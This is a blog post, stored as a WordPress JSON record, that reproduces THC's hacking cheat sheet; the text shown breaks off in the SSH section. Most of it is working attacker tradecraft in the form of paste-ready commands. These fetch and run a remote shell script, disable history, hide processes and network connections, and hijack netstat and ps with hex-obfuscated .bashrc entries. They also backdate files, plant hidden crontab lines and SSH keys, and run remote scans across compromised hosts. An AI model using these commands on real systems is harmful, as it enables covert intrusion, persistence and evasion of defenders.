{"id":213,"date":"2025-06-08T15:55:48","date_gmt":"2025-06-08T07:55:48","guid":{"rendered":"https:\/\/wp.imesl.eu.org\/?p=213"},"modified":"2025-06-08T15:57:55","modified_gmt":"2025-06-08T07:57:55","slug":"thc-tips-chinese","status":"publish","type":"post","link":"https:\/\/wp.imesl.eu.org\/?p=213","title":{"rendered":"THC-tips Chinese"},"content":{"rendered":"<h1>THC&#8217;s favourite Tips, Tricks &amp; Hacks (Cheat Sheet)<\/h1>\n<p><a href=\"https:\/\/thc.org\/tips\">https:\/\/thc.org\/tips<\/a>  <\/p>\n<p>A collection of our favourite tricks. Many of those tricks are not from us. We merely collect them.<\/p>\n<p>We show the tricks &#8216;as is&#8217; without any explanation why they work. You need to know Linux to understand how and why they work.<\/p>\n<p>Got tricks? Join us <a href=\"https:\/\/thc.org\/ops\">https:\/\/thc.org\/ops<\/a><\/p>\n<ol>\n<li><a href=\"#bash\">Bash<\/a>\n<ol>\n<li><a href=\"#hackshell\">Set up a Hack Shell<\/a><\/li>\n<li><a href=\"#bash-hide-command\">Hide your commands<\/a><\/li>\n<li><a href=\"#zap\">Hide your command line options<\/a><\/li>\n<li><a href=\"#bash-hide-connection\">Hide a network connection<\/a><\/li>\n<li><a href=\"#hide-a-process-user\">Hide a process as user<\/a><\/li>\n<li><a href=\"#hide-a-process-root\">Hide a process as root<\/a><\/li>\n<li><a href=\"#hide-scripts\">Hide scripts<\/a><\/li>\n<li><a href=\"#cat\">Hide from cat<\/a><\/li>\n<li><a href=\"#parallel\">Execute in parallel with separate logfiles<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#ssh\">SSH<\/a>\n<ol>\n<li><a href=\"#ssh-invisible\">Almost invisible SSH<\/a><\/li>\n<li><a href=\"#ssh-master\">Multiple shells via 1 SSH\/TCP connection<\/a><\/li>\n<li><a href=\"#ssh-tunnel\">SSH tunnel<\/a><\/li>\n<li><a href=\"#ssh-socks-tunnel\">SSH socks5 tunnel<\/a><\/li>\n<li><a href=\"#ssh-j\">SSH to NATed host<\/a><\/li>\n<li><a href=\"#ssh-pj\">SSH pivot via ProxyJump<\/a><\/li>\n<li><a href=\"#sshd-user\">SSHD as user<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#network\">Network<\/a>\n<ol>\n<li><a href=\"#discover\">Discover hosts<\/a><\/li>\n<li><a href=\"#tcpdump\">Tcpdump<\/a><\/li>\n<li><a href=\"#tunnel\">Tunnel and forwarding<\/a>\n<ol>\n<li><a href=\"#ports\">Raw TCP reverse ports<\/a><\/li>\n<li><a href=\"#https\">HTTPS reverse forwards<\/a><\/li>\n<li><a href=\"#iptables\">Bouncing traffic with iptables<\/a><\/li>\n<li><a href=\"#ghost\">Ghost IP \/ IP Spoofing<\/a><\/li>\n<li><a href=\"#tunnel-more\">Various<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#scan-proxy\">Use any tool via Socks Proxy<\/a><\/li>\n<li><a href=\"#your-ip\">Find your public IP address<\/a><\/li>\n<li><a href=\"#check-reachable\">Check reachability from around the world<\/a><\/li>\n<li><a href=\"#check-open-ports\">Check\/Scan Open Ports<\/a><\/li>\n<li><a href=\"#bruteforce\">Crack Passwords hashes<\/a><\/li>\n<li><a href=\"#bruteforce\">Brute Force Passwords \/ Keys<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#exfil\">Data Upload\/Download\/Exfil<\/a>\n<ol>\n<li><a href=\"#file-encoding\">File Encoding\/Decoding<\/a><\/li>\n<li><a href=\"#cut-paste\">File transfer using cut &amp; paste<\/a><\/li>\n<li><a href=\"#xfer-tmux\">File transfer using tmux<\/a><\/li>\n<li><a href=\"#file-transfer-screen\">File transfer using screen<\/a><\/li>\n<li><a href=\"#file-transfer-gs-netcat\">File transfer using gs-netcat and sftp<\/a><\/li>\n<li><a href=\"#http\">File transfer using HTTP<\/a><\/li>\n<li><a href=\"#download\">File download without curl<\/a><\/li>\n<li><a href=\"#rsync\">File transfer using rsync<\/a><\/li>\n<li><a href=\"#trans\">File transfer to public dump sites<\/a> <\/li>\n<li><a href=\"#webdav\">File transfer using WebDAV<\/a><\/li>\n<li><a href=\"#tg\">File transfer to Telegram<\/a> <\/li>\n<\/ol><\/li>\n<li><a href=\"#reverse-shell\">Reverse Shell \/ Dumb Shell<\/a>\n<ol>\n<li><a href=\"#reverse-shell\">Reverse Shells<\/a>\n<ol>\n<li><a href=\"#reverse-shell-gs-netcat\">with gs-netcat (encrypted)<\/a><\/li>\n<li><a href=\"#reverse-shell-bash\">with Bash<\/a><\/li>\n<li><a href=\"#curlshell\">with cURL (encrypted)<\/a><\/li>\n<li><a href=\"#curltelnet\">with cURL (cleartext)<\/a><\/li>\n<li><a href=\"#sslshell\">with OpenSSL (encrypted)<\/a><\/li>\n<li><a href=\"#revese-shell-remote-moe\">with remote.moe (encrypted)<\/a><\/li>\n<li><a href=\"#reverse-shell-no-bash\">without \/dev\/tcp<\/a><\/li>\n<li><a href=\"#reverse-shell-python\">with Python<\/a><\/li>\n<li><a href=\"#reverse-shell-perl\">with Perl<\/a><\/li>\n<li><a href=\"#reverse-shell-php\">with PHP<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#reverse-shell-upgrade\">Upgrading the dumb shell<\/a>\n<ol>\n<li><a href=\"#reverse-shell-pty\">Upgrade a reverse shell to a pty shell<\/a><\/li>\n<li><a href=\"#reverse-shell-interactive\">Upgrade a reverse shell to a fully interactive shell<\/a><\/li>\n<li><a href=\"#reverse-shell-socat\">Reverse shell with socat (fully interactive)<\/a><\/li>\n<\/ol><\/li>\n<\/ol><\/li>\n<li><a href=\"#backdoor\">Backdoors<\/a>\n<ol>\n<li><a href=\"#gsnc\">gs-netcat<\/a><\/li>\n<li><a href=\"#sshx\">sshx.io<\/a><\/li>\n<li><a href=\"#backdoor-auth-keys\">authorized_keys<\/a><\/li>\n<li><a href=\"#backdoor-network\">Remote access an entire network<\/a><\/li>\n<li><a href=\"#php-backdoor\">Smallest PHP backdoor<\/a><\/li>\n<li><a href=\"#reverse-dns-backdoor\">Smallest reverse DNS-tunnel backdoor<\/a><\/li>\n<li><a href=\"#ld-backdoor\">Local Root backdoor<\/a><\/li>\n<li><a href=\"#implant\">Self-extracting implant<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#hostrecon\">Host Recon<\/a><\/li>\n<li><a href=\"#shell-hacks\">Shell Hacks<\/a>\n<ol>\n<li><a href=\"#shred\">Shred files (secure delete)<\/a><\/li>\n<li><a href=\"#restore-timestamp\">Restore the date of a file<\/a><\/li>\n<li><a href=\"#shell-clean-logs\">Clean logfile<\/a><\/li>\n<li><a href=\"#shell-hide-files\">Hide files from a User without root privileges<\/a><\/li>\n<li><a href=\"#perm-files\">Make a file immutable<\/a><\/li>\n<li><a href=\"#nosudo\">Change user without sudo\/su<\/a><\/li>\n<li><a href=\"#payload\">Obfuscate and crypt payload<\/a><\/li>\n<li><a href=\"#memexec\">Deploying a backdoor without touching the file-system<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#crypto\">Crypto<\/a>\n<ol>\n<li><a href=\"#gen-password\">Generate quick random Password<\/a><\/li>\n<li><a href=\"#crypto-filesystem\">Linux transportable encrypted filesystems<\/a>\n<ol>\n<li><a href=\"#crypto-filesystem\">cryptsetup<\/a><\/li>\n<li><a href=\"#encfs\">EncFS<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#encrypting-file\">Encrypting a file<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#sniffing\">Session sniffing and hijacking<\/a>\n<ol>\n<li><a href=\"#session-sniffing\">Sniff a user&#8217;s SHELL session<\/a><\/li>\n<li><a href=\"#dtrace\">Sniff all SHELL sessions with dtrace<\/a><\/li>\n<li><a href=\"#bpf\">Sniff all SHELL sessions with eBPF<\/a><\/li>\n<li><a href=\"#ssh-sniffing-strace\">Sniff a user&#8217;s SSH or SSHD session with strace<\/a><\/li>\n<li><a href=\"#ssh-sniffing-wrapper\">Sniff a user&#8217;s outgoing SSH session with a wrapper script<\/a><\/li>\n<li><a href=\"#ssh-sniffing-sshit\">Sniff a user&#8217;s outgoing SSH session with SSH-IT<\/a><\/li>\n<li><a href=\"#hijack\">Hijack \/ Take-over a running SSH session<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#vpn-shell\">VPN and Shells<\/a>\n<ol>\n<li><a href=\"#shell\">Disposable Root Servers<\/a><\/li>\n<li><a href=\"#vpn\">VPN\/VPS Providers<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#osint\">OSINT Intelligence Gathering<\/a><\/li>\n<li><a href=\"#misc\">Miscellaneous<\/a>\n<ol>\n<li><a href=\"#tools\">Tools of the trade<\/a><\/li>\n<li><a href=\"#cool-linux-commands\">Cool Linux commands<\/a><\/li>\n<li><a href=\"#tmux\">tmux Cheat Sheet<\/a><\/li>\n<li><a href=\"#useful-commands\">Useful commands<\/a><\/li>\n<\/ol><\/li>\n<li><a href=\"#hacker\">How to become a Hacker<\/a><\/li>\n<li><a href=\"#others\">Other Sites<\/a><\/li>\n<\/ol>\n<hr \/>\n<p><a id=\"bash\"><\/a><\/p>\n<h2>1. Bash \/ Shell<\/h2>\n<p><a id=\"hackshell\"><\/a>\n<strong>1.i. Set up a Hack Shell (bash):<\/strong><\/p>\n<p>Make BASH less noisy. Disables <em>~\/.bash_history<\/em> and <a href=\"https:\/\/github.com\/hackerschoice\/hackshell\">many other things<\/a>.<\/p>\n<pre><code class=\"lang-sh language-sh sh\"> source &lt;(curl -SsfL https:\/\/thc.org\/hs)<\/code><\/pre>\n<p>Alternative URL:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"> source &lt;(curl -SsfL https:\/\/github.com\/hackerschoice\/hackshell\/raw\/main\/hackshell.sh)<\/code><\/pre>\n<p>And if there is no curl\/wget, use <a href=\"#download\">surl<\/a> and (temporarily) installed curl with <code>bin curl<\/code>.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">source &lt;(surl https:\/\/raw.githubusercontent.com\/hackerschoice\/hackshell\/main\/hackshell.sh)\n# Afterwards type `bin curl` to (temporarily) install curl (in memory).<\/code><\/pre>\n<p>HackShell does much more but most importantly this:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">unset HISTFILE\n[ -n &quot;$BASH&quot; ] &amp;&amp; export HISTFILE=&quot;\/dev\/null&quot;\nexport BASH_HISTORY=&quot;\/dev\/null&quot;\nexport LANG=en_US.UTF-8\nlocale -a 2&gt;\/dev\/null|grep -Fqim1 en_US.UTF || export LANG=en_US\nexport LESSHISTFILE=-\nexport REDISCLI_HISTFILE=\/dev\/null\nexport MYSQL_HISTFILE=\/dev\/null\nTMPDIR=&quot;\/tmp&quot;\n[ -d &quot;\/var\/tmp&quot; ] &amp;&amp; TMPDIR=&quot;\/var\/tmp&quot;\n[ -d &quot;\/dev\/shm&quot; ] &amp;&amp; TMPDIR=&quot;\/dev\/shm&quot;\nexport TMPDIR\nexport PATH=&quot;.:${PATH}&quot;\nif [[ &quot;$SHELL&quot; == *&quot;zsh&quot; ]]; then\n    PS1=&#039;%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f &#039;\nelse\n    PS1=&#039;\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ &#039;\nfi\nalias wget=&#039;wget --no-hsts&#039;\nalias vi=&quot;vi -i NONE&quot;\nalias vim=&quot;vim -i NONE&quot;\nalias screen=&quot;screen -ln&quot;\n\nTERM=xterm reset -I\nstty cols 400 # paste this on its own before pasting the next line:\nresize &amp;&gt;\/dev\/null || { stty -echo;printf &quot;\\e[18t&quot;; read -t5 -rdt R;IFS=&#039;;&#039; read -r -a a &lt;&lt;&lt; &quot;${R:-8;25;80}&quot;;[ &quot;${a[1]}&quot; -ge &quot;${a[2]}&quot; ] &amp;&amp; { R=&quot;${a[1]}&quot;;a[1]=&quot;${a[2]}&quot;;a[2]=&quot;${R}&quot;;};stty sane rows &quot;${a[1]}&quot; cols &quot;${a[2]}&quot;;}\n# stty sane rows 60 cols 160<\/code><\/pre>\n<p>We use <code>anew<\/code> a lot, and this is a quick workaround:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">xanew() { awk &#039;hit[$0]==0 {hit[$0]=1; print $0}&#039;; }\nwhich anew &amp;&gt;\/dev\/null || alias anew=xanew<\/code><\/pre>\n<p>Bonus tip:\nAny command starting with a &#8221; &#8221; (space) will <a href=\"https:\/\/unix.stackexchange.com\/questions\/115917\/why-is-bash-not-storing-commands-that-start-with-spaces\">not get logged to history<\/a> either.<\/p>\n<pre><code>$  id<\/code><\/pre>\n<p><a id=\"bash-hide-command\"><\/a>\n<strong>1.ii. Hide your command \/ Daemonzie your command<\/strong><\/p>\n<p>This will hide the <em>process name<\/em> only. Use <a href=\"#zap\">zapper<\/a> to also hide the command line options.<\/p>\n<pre><code class=\"lang-shell language-shell shell\">(exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1\/24) # Note the brackets &#039;(&#039; and &#039;)&#039;<\/code><\/pre>\n<p>Start a background &#8216;nmap&#8217; hidden as &#8216;\/usr\/sbin\/sshd&#8217;:<\/p>\n<pre><code>(exec -a &#039;\/usr\/sbin\/sshd&#039; nmap -Pn -F -n --open -oG - 10.0.2.1\/24 &amp;&gt;nmap.log &amp;)<\/code><\/pre>\n<p>Start within a <a href=\"https:\/\/linux.die.net\/man\/1\/screen\">GNU screen<\/a>:<\/p>\n<pre><code>screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1\/24\n### Attach back to the nmap process\nscreen -x MyName<\/code><\/pre>\n<p>Alternatively, copy the binary to a new name:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">cd \/dev\/shm\ncp &quot;$(command -v nmap)&quot; syslogd\nPATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1\/24<\/code><\/pre>\n<p>or use bind-mount to (temporarily) let <em>\/sbin\/init<\/em> point to <em>\/dev\/shm\/nmap<\/em> instead:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">mount -n --bind &quot;$(command -v nmap)&quot; \/sbin\/init\n# starting \/sbin\/init will instead execute nmap\n(\/sbin\/init -Pn -f -n --open -oG - 10.0.2.1\/24 &amp;&gt;nmap.log &amp;)<\/code><\/pre>\n<p><a id=\"zap\"><\/a>\n<strong>1.iii. Hide your command line options<\/strong><\/p>\n<p>Use <a href=\"https:\/\/github.com\/hackerschoice\/zapper\">zapper<\/a>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -fL -o zapper https:\/\/github.com\/hackerschoice\/zapper\/releases\/latest\/download\/zapper-linux-$(uname -m) &amp;&amp; \\\nchmod 755 zapper<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># Start Nmap but zap all options and show it as &#039;klog&#039; in the process list:\n.\/zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1\/24\n# Started as a daemon and sshd-style name:\n(.\/zapper -a &#039;sshd: root@pts\/0&#039; nmap -Pn -F -n --open -oG - 10.0.0.1\/24 &amp;&gt;nmap.log &amp;)\n# Replace the existing shell with tmux (with &#039;exec&#039;).\n# Then start and hide tmux and all further processes - as some kernel process:\nexec .\/zapper -f -a&#039;[kworker\/1:0-rcu_gp]&#039; tmux<\/code><\/pre>\n<p><a id=\"bash-hide-connection\"><\/a>\n<strong>1.iv. Hide a Network Connection<\/strong><\/p>\n<p>The trick is to hijack <code>netstat<\/code> and use grep to filter out our connection. This example filters any connection on port 31337 <em>or<\/em> ip 1.2.3.4. The same should be done for <code>ss<\/code> (a netstat alternative).<\/p>\n<p><strong>Method 1 &#8211; Hiding a connection with bash-function in ~\/.bashrc<\/strong><\/p>\n<p>Cut &amp; paste this to add the line to ~\/.bashrc<\/p>\n<pre><code class=\"lang-shell language-shell shell\">echo &#039;netstat(){ command netstat &quot;$@&quot; | grep -Fv -e :31337 -e 1.2.3.4; }&#039; &gt;&gt;~\/.bashrc \\\n&amp;&amp; touch -r \/etc\/passwd ~\/.bashrc<\/code><\/pre>\n<p>Or cut &amp; paste this for an obfuscated entry to ~\/.bashrc:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">X=&#039;netstat(){ command netstat &quot;$@&quot; | grep -Fv -e :31337 -e 1.2.3.4; }&#039;\necho &quot;eval \\$(echo $(echo &quot;$X&quot; | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG&quot; &gt;&gt;~\/.bashrc \\\n&amp;&amp; touch -r \/etc\/passwd ~\/.bashrc<\/code><\/pre>\n<p>The obfuscated entry to ~\/.bashrc will look like this:<\/p>\n<pre><code>eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG<\/code><\/pre>\n<p><strong>Method 2 &#8211; Hiding a connection with a binary in $PATH<\/strong><\/p>\n<p>Create a fake netstat binary in \/usr\/local\/sbin. On a default Debian (and most Linux) the PATH variables (<code>echo $PATH<\/code>) lists \/usr\/local\/sbin <em>before<\/em> \/usr\/bin. This means that our hijacking binary \/usr\/local\/sbin\/netstat will be executed instead of \/usr\/bin\/netstat.<\/p>\n<pre><code class=\"lang-shell language-shell shell\">echo &#039;#! \/bin\/bash\nexec \/usr\/bin\/netstat &quot;$@&quot; | grep -Fv -e :22 -e 1.2.3.4&#039; &gt;\/usr\/local\/sbin\/netstat \\\n&amp;&amp; chmod 755 \/usr\/local\/sbin\/netstat \\\n&amp;&amp; touch -r \/usr\/bin\/netstat \/usr\/local\/sbin\/netstat<\/code><\/pre>\n<p><em>(thank you iamaskid)<\/em><\/p>\n<p><a id=\"hide-a-process-user\"><\/a>\n<strong>1.v. Hide a process as user<\/strong><\/p>\n<p>Continuing from &#8220;Hiding a connection&#8221; the same technique can be used to hide a process. This example hides the nmap process and also takes care that our <code>grep<\/code> does not show up in the process list by renaming it to GREP:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">echo &#039;ps(){ command ps &quot;$@&quot; | exec -a GREP grep -Fv -e nmap  -e GREP; }&#039; &gt;&gt;~\/.bashrc \\\n&amp;&amp; touch -r \/etc\/passwd ~\/.bashrc<\/code><\/pre>\n<p><a id=\"hide-a-process-root\"><\/a>\n<strong>1.vi. Hide a process as root<\/strong><\/p>\n<p>This requires root privileges and is an old Linux trick by over-mounting \/proc\/ with a useless directory:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">hide() {\n    [[ -L \/etc\/mtab ]] &amp;&amp; { cp \/etc\/mtab \/etc\/mtab.bak; mv \/etc\/mtab.bak \/etc\/mtab; }\n    _pid=${1:-$$}\n    [[ $_pid =~ ^[0-9]+$ ]] &amp;&amp; { mount -n --bind \/dev\/shm \/proc\/$_pid &amp;&amp; echo &quot;[THC] PID $_pid is now hidden&quot;; return; }\n    local _argstr\n    for _x in &quot;${@:2}&quot;; do _argstr+=&quot; &#039;${_x\/\/\\&#039;\/\\&#039;\\&quot;\\&#039;\\&quot;\\&#039;}&#039;&quot;; done\n    [[ $(bash -c &quot;ps -o stat= -p \\$\\$&quot;) =~ \\+ ]] || exec bash -c &quot;mount -n --bind \/dev\/shm \/proc\/\\$\\$; exec \\&quot;$1\\&quot; $_argstr&quot;\n    bash -c &quot;mount -n --bind \/dev\/shm \/proc\/\\$\\$; exec \\&quot;$1\\&quot; $_argstr&quot;\n}<\/code><\/pre>\n<p>To hide a command use:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">hide                                 # Hides the current shell\/PID\nhide 31337                           # Hides process with pid 31337\nhide sleep 1234                      # Hides &#039;sleep 1234&#039;\nhide nohup sleep 1234 &amp;&gt;\/dev\/null &amp;  # Starts and hides &#039;sleep 1234&#039; as a background process<\/code><\/pre>\n<p>(thanks to <em>druichi<\/em> for improving this)<\/p>\n<p><a id=\"hide-scripts\"><\/a>\n<strong>1.vii. Hide shell scripts<\/strong><\/p>\n<p>Above we discussed how to obfuscate a line in ~\/.bashrc. An often used trick is to use <code>source<\/code> instead. The source command can be shortened to <code>.<\/code> (yes, a dot) <em>and<\/em> it also searches through the $PATH variable to find the file to load.<\/p>\n<p>In this example our script <code>prng<\/code> contains all of our shell functions from above. Those functions hide the <code>nmap<\/code> process and the network connection. Last we add <code>. prng<\/code> into the systemwide rc file. This will load <code>prng<\/code> when the user (and root) logs in:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">echo -e &#039;netstat(){ command netstat &quot;$@&quot; | grep -Fv -e :31337 -e 1.2.3.4; }\nps(){ command ps &quot;$@&quot; | exec -a GREP grep -Fv -e nmap  -e GREP; }&#039; &gt;\/usr\/bin\/prng \\\n&amp;&amp; echo &quot;. prng #Initialize Pseudo Random Number Generator&quot; &gt;&gt;\/etc\/bash.bashrc \\\n&amp;&amp; touch -r \/etc\/ld.so.conf \/usr\/bin\/prng \/etc\/bash.bashrc<\/code><\/pre>\n<p>(The same works for <code>lsof<\/code>, <code>ss<\/code> and <code>ls<\/code>)<\/p>\n<p><a id=\"cat\"><\/a>\n<strong>1.viii. Hide from cat<\/strong><\/p>\n<p>ANSI escape characters or a simple <code>\\r<\/code> (<a href=\"https:\/\/www.hahwul.com\/2019\/01\/23\/php-hidden-webshell-with-carriage\/\">carriage return<\/a>) can be used to hide from <code>cat<\/code> and others.<\/p>\n<p>Hide the last command (example: <code>id<\/code>) in <code>~\/.bashrc<\/code>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">echo -e &quot;id #\\\\033[2K\\\\033[1A&quot; &gt;&gt;~\/.bashrc\n### The ANSI escape sequence \\\\033[2K erases the line. The next sequence \\\\033[1A\n### moves the cursor 1 line up.\n### The &#039;#&#039; after the command &#039;id&#039; is a comment and is needed so that bash still\n### executes the &#039;id&#039; but ignores the two ANSI escape sequences.<\/code><\/pre>\n<p>Add a hidden crontab line:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">(crontab -l; echo -e &quot;0 2 * * * { id; date;} 2&gt;\/dev\/null &gt;\/tmp\/.thc-was-here #\\\\033[2K\\\\033[1A&quot;) | crontab<\/code><\/pre>\n<p>Adding a <code>\\r<\/code> (carriage return) goes a long way to hide your ssh key from <code>cat<\/code>:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">echo &quot;ssh-ed25519 AAAAOurPublicKeyHere....blah x@y&quot;$&#039;\\r&#039;&quot;$(&lt;authorized_keys)&quot; &gt;authorized_keys\n### This adds our key as the first key and &#039;cat authorized_keys&#039; won&#039;t show\n### it. The $&#039;\\r&#039; is a bash special to create a \\r (carriage return).<\/code><\/pre>\n<p><a id=\"parallel\"><\/a>\n**1.ix. Execute in parallel with separate logfiles***<\/p>\n<p>Scan 20 hosts in parallel and log each result to a separate log file:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># hosts.txt contains a long list of hostnames or ip-addresses\n# (Use -sCV for more verbose version)\ncat hosts.txt | parallel -j20 &#039;exec nmap -n -Pn -sV -F --open -oG - {} &gt;nmap_{}.txt&#039;<\/code><\/pre>\n<p>Note: The example uses <code>exec<\/code> to replace the underlying shell with the last process (nmap, gsexec). It&#8217;s optional but reduces the number of running shell binaries.<\/p>\n<p>Execute <a href=\"https:\/\/github.com\/carlospolop\/PEASS-ng\">Linpeas<\/a> on all <a href=\"https:\/\/www.gsocket.io\/deploy\">gsocket<\/a> hosts using 40 workers:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># secrets.txt contains a long list of gsocket-secrets for each remote server.\ncat secrets.txt | parallel -j40 &#039;mkdir host_{}; exec gsexec {} &quot;curl -fsSL https:\/\/github.com\/carlospolop\/PEASS-ng\/releases\/latest\/download\/linpeas.sh | sh&quot; &gt;host_{}\/linpeas.log 2&gt;host_{}\/linpeas.err&#039;<\/code><\/pre>\n<p>Note: <code>xargs -P20 -I{}<\/code> is another good way but it cannot log each output into a separate file.  <\/p>\n<hr \/>\n<p><a id=\"ssh\"><\/a><\/p>\n<h2>2. SSH<\/h2>\n<p><a id=\"ssh-invisible\"><\/a>\n<strong>2.i. Almost invisible SSH<\/strong><\/p>\n<p>Stops you from showing up in <em>w<\/em> or <em>who<\/em> command and stops logging the host to <em>~\/.ssh\/known_hosts<\/em>.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -o UserKnownHostsFile=\/dev\/null -T user@server.org &quot;bash -i&quot;<\/code><\/pre>\n<p>Go full comfort with PTY and colors: <code>xssh user@server.org<\/code>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">### Cut &amp; Paste the following to your shell, then execute\n### xssh user@server.org\nxssh() {\n    local ttyp=&quot;$(stty -g)&quot;\n    echo -e &quot;\\e[0;35mTHC says: pimp up your prompt: Cut &amp; Paste the following into your remote shell:\\e[0;36m&quot;\n    echo -e &#039;\\e[0;36msource &lt;(curl -SsfL https:\/\/github.com\/hackerschoice\/hackshell\/raw\/main\/hackshell.sh)\\e[0m&#039;\n    echo -e &quot;\\e[2m# or: \\e[0;36m\\e[2mPS1=&#039;&quot;&#039;\\[\\\\033[36m\\]\\\\u\\[\\\\033[m\\]@\\[\\\\033[32m\\]\\\\h:\\[\\\\033[33;1m\\]\\\\w\\[\\\\033[m\\]\\\\$ &#039;&quot;&#039;\\e[0m&quot;\n    stty raw -echo icrnl opost\n    [[ $(ssh -V 2&gt;&amp;1) == OpenSSH_[67]* ]] &amp;&amp; a=&quot;no&quot;\n    ssh -oConnectTimeout=5 -oUserKnownHostsFile=\/dev\/null -oStrictHostKeyChecking=&quot;${a:-accept-new}&quot; -T \\\n        &quot;$@&quot; \\\n        &quot;unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=\/dev\/null TERM=xterm-256color HISTFILE=\/dev\/null BASH_HISTORY=\/dev\/null exec -a [uid] script -qc &#039;source &lt;(resize 2&gt;\/dev\/null); exec -a [uid] bash -i&#039; \/dev\/null&quot;\n    stty &quot;${ttyp}&quot;\n}<\/code><\/pre>\n<p>(See <a href=\"https:\/\/github.com\/hackerschoice\/hackshell\">Hackshell<\/a>)<\/p>\n<p><a id=\"ssh-master\"><\/a>\n<strong>2.ii Multiple shells via 1 SSH\/TCP connection<\/strong><\/p>\n<p>Have one TCP connection to the target and allow multiple users to piggyback on the same TCP connection to open further shell sessions.<\/p>\n<p>Create a Master Connection:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -M -S .sshmux user@server.org<\/code><\/pre>\n<p>Create further shell-sessions using the same (single) Master-TCP connection from above (no password\/auth needed):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -S .sshmux NONE\n#ssh -S .sshmux NONE ls -al\n#scp -o &quot;ControlPath=.sshmux&quot; NONE:\/etc\/passwd .<\/code><\/pre>\n<p>Can be combined with <a href=\"#ssh-invisible\">xssh<\/a> to hide from utmp.<\/p>\n<p><a id=\"ssh-tunnel\"><\/a>\n<strong>2.iii SSH tunnel<\/strong><\/p>\n<p>We use this all the time to circumvent local firewalls and IP filtering:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -g -L31337:1.2.3.4:80 user@server.org<\/code><\/pre>\n<p>You or anyone else can now connect to your computer on port 31337 and get tunneled to 1.2.3.4 port 80 and appear with the source IP of &#8216;server.org&#8217;. An alternative and without the need for a server is to use <a href=\"#backdoor-network\">gs-netcat<\/a>.<\/p>\n<p>Clever hackers use the keyboard combination <code>~C<\/code> to dynamically create these tunnels without having to reconnect the SSH. (thanks MessedeDegod).<\/p>\n<p>We use this to give access to a friend to an internal machine that is not on the public Internet:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@server.org<\/code><\/pre>\n<p>Anyone connecting to server.org:31338 will get tunneled to 192.168.0.5 on port 80 via your computer. An alternative and without the need for a server is to use <a href=\"#backdoor-network\">gs-netcat<\/a>.<\/p>\n<p><a id=\"ssh-socks-tunnel\"><\/a>\n<strong>2.iv SSH socks4\/5 tunnel<\/strong><\/p>\n<p>OpenSSH 7.6 adds socks support for dynamic forwarding. Example: Tunnel all your browser traffic through your server.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -D 1080 user@server.org<\/code><\/pre>\n<p>Now configure your browser to use SOCKS with 127.0.0.1:1080. All your traffic is now tunneled through <em>server.org<\/em> and will appear with the source IP of <em>server.org<\/em>. An alternative and without the need for a server is to use <a href=\"#backdoor-network\">gs-netcat<\/a>.<\/p>\n<p>This is the reverse of the above example. It give others access to your <em>local<\/em> network or let others use your computer as a tunnel end-point.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -g -R 1080 user@server.org<\/code><\/pre>\n<p>The others configuring server.org:1080 as their SOCKS4\/5 proxy. They can now connect to <em>any<\/em> computer on <em>any port<\/em> that your computer has access to. This includes access to computers behind your firewall that are on your local network. An alternative and without the need for a server is to use <a href=\"#backdoor-network\">gs-netcat<\/a>.<\/p>\n<p><a id=\"ssh-j\"><\/a>\n<strong>2.v SSH to a host behind NAT<\/strong><\/p>\n<p><a href=\"http:\/\/ssh-j.com\">ssh-j.com<\/a> provides a great relay service: To access a host behind NAT\/Firewall (via SSH).<\/p>\n<p>On the host behind NAT: Create a reverse SSH tunnel to <a href=\"http:\/\/ssh-j.com\">ssh-j.com<\/a> like so:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">## Cut &amp; Paste on the host behind NAT.\nsshj()\n{\n   local pw\n   pw=${1,,}\n   [[ -z $pw ]] &amp;&amp; { pw=$(head -c64 &lt;\/dev\/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; }\n   echo &quot;Press Ctrl-C to stop this 